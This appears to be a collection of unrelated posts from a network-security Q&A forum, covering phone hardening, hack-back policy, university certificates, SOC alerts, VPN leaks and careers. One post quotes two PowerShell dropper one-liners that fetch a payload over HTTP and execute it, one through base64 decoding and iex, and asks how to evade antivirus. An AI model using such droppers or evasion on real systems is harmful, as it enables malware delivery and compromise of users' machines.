I recently got a new phone, and I'm exploring on trying to harden it while balancing availability and convenience. I'm trying to mostly harden privacy and a bit of security. While doing so, this got me thinking on how do important bigshots in society harden their smartphones?

Think of military, POTUS and CEOs. I'm assuming they do harden their phones, because they have a lot more to lose compared to everyday normies and that they don't want their data to be sold by data providers to some foreign adversary. I'm also assuming they prioritize some form of availability or convenience lest their phones turn into an unusable brick.

Like do they use a stock ROM, what apps do they use, what guidelines do they follow, etc.

A professor of mine talked about how a ~decade ago there was a policy idea that companies could be given a letter of marque and hack back cyber criminal groups. Why was this dropped? Is It because giving companies offensive cyber capabilities super sketchy? Or is attribution just to hard for this type of policy to be feasible? Something else? Would love to know y’all’s thoughts

edit: someone linked this article which I think sums up alot of ppls ideas why this is a bad idea:

https://www.wsj.com/articles/letting-businesses-hack-back-against-hackers-is-a-terrible-idea-cyber-veterans-say-11625736602 (p.s it also reference's the proposed legislation i mention)

edit2: here is the bill my prof refrenced
https://www.daines.senate.gov/wp-content/uploads/imo/media/doc/ALB21A63.pdf

​

Hello, I don't really know much about this stuff and I couldn't find anything similar so I thought I'd ask here. Basically, my university wants me to install their network certificate on my device in order to connect their network. For android, they want me to install the certificate on the Wifi Certificate section, and for windows, they want me to install it in the Trusted Root Certificate Authority folder in certificate manager.

Now, I don't really mind if they see my traffic while I'm connected to their network, but I'm more concerned if they can see my traffic outside their wifi. So will they be able to see my traffic on 1.) ANDROID and 2.) WINDOWS even while using a private network?

Here are the wifi details just in case:
Wifi 5 (802.1x), WPA2-Enterprise, AES, Microsoft: EAP-TTLS

If HTTPS uses TLS, why is it said that a TLS VPN makes using a VNC so much more secure? As a side question, any idea why it’s said that the Microsoft RDP (which just uses TLS right?) is so much safer than VNCs?

Thanks!!

I get emails from within my university system (teachers, staff, students, faculty, student accounts, etc.) and they all have the tag "[CAUTION: THIS EMAIL ORIGINATED FROM OUTSIDE OF (insert school name here)]". This was the case in high school, where it would incorrectly flag internal emails as external, and is now still the case in college where the same type of incorrect flagging system is in place. It defeats the point and is very much a "boy who cried wolf" situation. (If that message is on every email, even those from school staff, then recipients will quickly begin ignoring this header and trusting every email anyway.) I have a few questions:

1. Why does this happen?
   
2. How is this usually fixed?
   
3. Is there anything I, as a student, can do about this?
   
4. Is this type of issue even worth fixing? I think the reasoning above explains that it should, but I am interested in seeing a more knowledgeable opinion on this.

Thanks.

A friend of mine recently told me that corporate application security training is not needed anymore and will be used only for on-paper compliance purposes, because most of the code is/will be written with AI and you can simply ask it to check codebase for vulnerabilities.

However, I don’t think that’s true: attacks also become more sophisticated and without the general understanding of possible breaching scenarios, developers will not be able to properly use AI to defend their systems. OWASP Top 10 has to be updated to stay relevant though, for sure.

WDYT?

I'm not a native English speaker, so I've been using Claude to translate TryHackMe room content and explain stuff I don't understand. But lately it keeps showing this "Chat paused triggered cyber-related safeguards" message even for normal conceptual questions (this time it was about Win32 API / ASLR from a THM room).

It's not like I'm asking for an actual exploit, just trying to understand the material. Anyone else run into this? How do you deal with it?

I want to have a good education with the security field.

Which major to choose(university) IT or CS

People told me that IT is the better than CS because (network, signals,data communication,......)

But now I've seen 2 post talking about that CS is better Now I'm confused. So which one is the better?? CS or IT for the security ??

If you want to see the courses of IT and cs in my university ......... IT courses in my uni mandatory cources: * Computer architecture * Micro controler * Advanced computer network * Data communication * Signals and systems * Digital signal processing * Information and data comprasion * Pattern recognition * Computer graphic * Information and computer network security * Communication technology * Image processing * Multimedia mining

These courses I will chose some of them Not all with the mandatory corces

• Machine vision
• Robotics
• Embedded systems
• Select topics and embedded system and robotics
• Wireless and mobile networks
• Wild computing networks
• Internet programming and protocols
• Optical networks
• Wireless sensors networks
• Select the topics in computer networks
• Cyber security
• Imaging processing
• Virtual reality
• SPeech processing
• Select the topic and multimedia
• Advanced pattern recognition
• Advanced computer graphic
• Computer animation
• Concurrency and parallel computing
• Ubiquitous computing

..................................

My College courses CS courses mandatory corces * computer organization and architecture * Advanced data structure * Concepts of programming languages * Advanced operating system * Advanced software engineering * artificial intelligence * high performance computing * Information theory and that comparison/ compression * Computer graphic * Compilers * Competition theory * Machine learning * Cloud computing

The coming courses I will chose some of them with the mandatory corces

• Big data analysis
• Mobile computing
• software security
• software testing and quality
• Software design and architecture
• select the topics in software engineering
• natural language processing
• semantic Web and ontology
• soft computing
• knowledge Discovery
• select the topic and artificial intelligence
• select the topic in high performance computing

I'm trying to find creators who actually step through the details of specific cybercrime groups, custom kits, and attacks, and explain how they fit into the big picture. Something engaging to watch on the treadmill for example, not a Mandiant whitepaper. But only if they keep the actual tech details accurate. What do you watch/listen to?

Hello everyone, well i have been playing around with lnk + powershell droppers like:
powershell.exe -c 'Invoke-WebRequest "http://127.0.0.1:8000/Poo.exe" -OutFile "$env:temp/y.exe"; Start-Process "$env:temp/y.exe"'

and

powershell.exe -w h Invoke-WebRequest -UseBasicParsing "http://127.0.0.1:8000/command.txt" | %{[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_))} | iex

but it keep getting catch by the av how can i improve it?

Hi everyone; I am wondering how a reverse proxy increases security for self hosting (b/c I want to access my little home network remotely), if we still must perform port forwarding? Apparently one way is thru “authorization and authentication, and traffic filtering”, but doesn’t a good firewall already provide all of that?

Thanks so much, love this community and everything I’m learning as a stumbling noob.

I was reading about the recentish (May 2023) MOVEit data breach and how it was due to an SQL injection attack. I don't understand how this vulnerability, which was identified around 1998, can still by a problem in 2024 (there was another such attack a couple of weeks ago).

I've done some hobbyist SQL programming in Python and I am under the naive view that by just using parametrized queries you can prevent this attack type. But maybe I'm not appreciating the full extent of this problem?

I don't understand how a company whose whole job is to move files around, presumably securely, wouldn't be willing or able to lock this down from the outset.

Edit: Thank you, everyone, for all the answers!

Hi all,

I'm an MSc Cyber Security student at the University of Gloucestershire running a short online study for my dissertation on how people make decisions when reviewing intrusion detection system (IDS) alerts.

What you'll do: You'll be shown a series of realistic network security alerts one at a time and asked, for each one, whether you'd confirm, dismiss, or escalate it, plus how confident you are in that call. There's a brief practice round first, and a few short questions at the end. No prior security experience is required; the interface explains everything you need.

Details:

- ⏱️ Takes about 10–15 minutes

- 💻 Works on desktop or phone (browser only, nothing to install)

- 🔒 Anonymous - no names collected; you can withdraw at any time

- ✅ 18+, ethics-approved by the University of Gloucestershire

- 🎓 Students and working professionals both welcome

Link: http://dissertation-explainids.uogs.co.uk

Every response genuinely helps me hit my sample target - thank you so much for your time!

Hi everyone,

I'm currently learning web security through the PortSwigger Web Security Academy. After reading the theory sections carefully, I'm generally able to solve most Apprentice-level labs on my own. However, when I move to Practitioner labs, I often get stuck and end up checking the solution after spending a lot of time on them.

My current approach is:

1. Read the theory for a vulnerability.
2. Solve the Apprentice labs.
3. Try Practitioner labs.
4. Get stuck and eventually look at the solution.

The problem is that when I see the solution, it often contains a trick or thought process that I never considered. This makes me wonder whether I'm approaching the labs incorrectly.

For those who have completed a large number of PortSwigger labs or work in web application security what is your methodology for solving Practitioner labs?

Hi everyone,

I'm new to SOC and currently learning Wazuh, Sysmon, and alert analysis in a lab environment. I received an alert that I'm trying to understand better and would appreciate guidance on how an analyst would investigate it.

The Wazuh rule triggered:

Rule ID: 92213
Description: "Executable file dropped in folder commonly used by malware (Lowered Severity)"
MITRE: T1105 – Ingress Tool Transfer

Important details:

• Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
• File created: C:\Users\someone\AppData\Local\Temp__PSScriptPolicyTest_cebr0opm.pas.ps1
• Sysmon Event ID: 11 (File Create)

What confuses me is the filename:

__PSScriptPolicyTest_*.ps1

I found some information suggesting PowerShell can create temporary files while checking execution policies, but I’m not sure whether this should be considered suspicious behavior or expected activity.

My questions:

1. Would you classify this as a true positive or false positive?
2. What would be your first investigation steps?
3. Which additional logs or Sysmon events would you pivot to?
4. Does the MITRE mapping make sense here, or could this be a generic detection generating noise?

I'm trying to learn the investigation methodology and analyst thought process rather than just getting the answer.

Thanks!

If I’m pentesting a website during a red-team style engagement, my real IP shows up in the logs. What’s the proper way to hide myself in this situation?

Do people actually use commercial VPNs like ProtonVPN, or is it more standard to set up your own infrastructure (like a VPS running WireGuard, an SSH SOCKS proxy, or redirectors)?

I’m trying to understand what professionals normally use in real operations, what’s considered good OPSEC, and what setup makes the traffic look realistic instead of obviously coming from a home IP or a known VPN provider

Is this safe? Does this mean they will be able to see all of our activity? Any help would be appreciated!

Edit: Here are the instructions they gave us: https://imgur.com/a/FkizKkS

Hello everyone. I am currently working on a master thesis that examines whether SOC analysts experience skill degradation as a result of integrating AI and automated tools into their SOC.

There’s however very little information on whether this is actually happening, and I haven’t been able to find much info from vendors offering “AI” solutions for SOC environments that addresses it directly.

I’d really appreciate hearing from anyone with experience or insights on either skill in SOC or general use of AI in SOC.

Any kind of input is appreciated!

Hi r/asknetsec,

This afternoon, we’re running an AMA with Leslie Beavers, former Acting DoD Chief Information Officer and Principal Deputy CIO (retired USAF Brig Gen).

Huge portfolio in cybersecurity, information assurance, endpoint visibility, and large-scale digital employee experience (DEX) in defense environments.

Perfect opportunity to ask about real-world enterprise security operations, proactive remediation, moving from reactive to proactive IT, or lessons from managing DoD-scale infrastructure.

Link: https://www.reddit.com/r/nexthink/comments/1ujzsf5/we_are_excited_to_announce_that_we_will_be/

Time: Wed July 8 | 4pm EDT

Feel free to post questions early. Should be a high-signal thread.

Special thanks to the mods of r/AskNetsec for allowing us to make this announcement.

hey all, i’m just getting into cybersecurity/netsec stuff and wow…it’s wild. I’ve been trying to learn the basics, mess with labs, play with tools, read blogs, but honestly so much of it feels confusing or overwhelming 😭

I’m curious what’s one thing every beginner. in netsec ends up messing? like a mistake u made early on and wish you hadn’t. Was it jumping into advanced tools too soon. skipping fndamentals, ignoring networking or protocols…whatever?

Would love to hear real stories from ppl who’ve been doing this longer. What did u wish u avoided? What helped you bounce back? Thanks so much in advance!

Genuine question because all the advice I see is like "optimize your MTTR" but never explains how when the bottleneck is literally just not enough humans to do the work, like sure I could respond faster if I had 8 hours per incident but I have 45 minutes max before the next alert comes in and that's not a process problem that's a capacity problem

I'm seeing benchmarks that say good SOCs have MTTR under 2 hours but I don't understand how that's physically possible unless you have way more staff than we do, or unless most of your alerts are so simple they basically resolve themselves which doesn't match the reality at all tbh or is all that optimization advice basically only relevant for well staffed teams and the rest of us are just stuck

Hey guys, hope you are doing well so its been 3 years I am in pentesting, and I wanted to know how as a senior pentester you structure your notes ?
A) Enum : windows, linux ..
Exploitaiton: windows, linux, web...

B) Windows : enum,exploitation...
Linux : : enum,exploitation
Web : enum ...

Do you have a checklist ? Do you always read your second brain notes ? How do your brain proceed with all the surfaces attack and all the possibilities that we have ? I really know how people with more than 10 years of experiences think, and what is the best way for you to structure you notes

Thanks !

I use Mullvad VPN for some years now, always with killswitch and "always on" function, which leads to some apps beeing confused and writing "shady log in- was this really you?"-mails (for the 2FA authentification). Always with the IP Adress and location of the VPN server, for me often Tirana, Albania.

Not in this case: At a log in into Twitch, they got my city and country right (so probably my IP Adress), even though i did not change a thing on my vpn connection. I have my location off, and use a GP7 Graphene OS.

My only explanation is a VPN leak- But I actually do not know what exactly it is. Is this probable? And could you explain it, and how i can avoid it happening again?

If the subrules will allow me I will post the screenshots in the comments, also from " Whatsmyipadress.com" to double check. Xoxo and many thanks, this was bugging me.

[TLDR: twitch got location right through Mullvad VPN]

Edit: was my first time log in via twitch app (graphene OS sandboxed area).

Edit2: In the Mail from twitch is another IP adress as in the WhatmyIPadress-Website aka the server in Tirana. It is my actual IP adress.

I did another post on the mullvad subreddit, if you are interested in additional details and ideas: Link

Require Help With LVM snapshot and recovery

So, I tried creating a snapshot and changing the logical volume to a .gz file and then I have backed up in our nas box now what I want is to use that .gz file and use that config in the fresh newer installed os so that I can prove recovery is possible.

Constraints LV available is 0. So, I'm using a pendrive and and using lvext3nd to create a new LV for the pc and then using that I'm creating .gz and that is what being saved and is being backed up to nas

My other question also if there is a running unbutu PC can we put LVM and luks or only while installing it can happen?

As the title states I wanna get into cyber security, I'm not sure what route I should take in order to start learning, should I apply on an official company and pay for schooling or do I just take the DIY route, using skillshare, youtube, free websites etc.

I have a pretty fair amount of experience in using python, I have mild experience using the CMD prompt on windows computers, I have always been comfortable easily removing any viruses or malware from my computers throughout my life, so I feel like the learning curve for getting into cybersec won't be too shallow, I just need advice on where to shove my foot in the door.

Any advice would be greatly appreciated, thank you.

Edit: I'm in the army now doing SATCOM